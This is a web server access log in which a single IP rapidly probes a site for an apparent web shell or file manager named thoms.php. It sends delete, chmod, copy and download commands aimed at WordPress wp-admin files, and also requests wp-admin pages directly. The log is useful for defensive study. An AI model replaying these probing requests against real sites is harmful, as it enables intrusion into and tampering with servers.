45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?dl=themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?chmod=admin-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /biotaiwan.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fuser-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fuser-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ffont-library.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ffont-library.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?del=export-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?chmod=load-scripts.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?del=ms-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?del=network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?del=theme-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /biotaiwan.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /biotaiwan.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?chmod=ms-users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?dl=my-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /biotaiwan.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/biotaiwan.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?chmod=press-this.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /thoms.php?dl=ms-admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:42 -0400] "GET /biotaiwan.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fprivacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fprivacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?del=js&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcredits.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcredits.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?chmod=ms-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?dl=ms-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Finstall.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Finstall.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?dl=user-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?dl=custom-background.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmoderation.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmoderation.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?chmod=options-media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /thoms.php?chmod=update-core.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:43 -0400] "GET /biotaiwan.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /biotaiwan.com.tw/wp-admin/includes/ HTTP/1.1" 200 4186 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?chmod=upgrade.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?chmod=edit-comments.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /biotaiwan.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?del=erase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /biotaiwan.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /biotaiwan.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?dl=about.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=about.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?del=admin-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?chmod=comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?del=export.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /biotaiwan.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:44 -0400] "GET /biotaiwan.com.tw/wp-admin/install.php HTTP/1.1" 200 601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?dl=options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fplugins.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fplugins.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?dl=admin-footer.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?dl=options-media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?del=options-privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?chmod=site-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ffreedoms.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ffreedoms.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmedia-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmedia-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?del=options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /biotaiwan.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
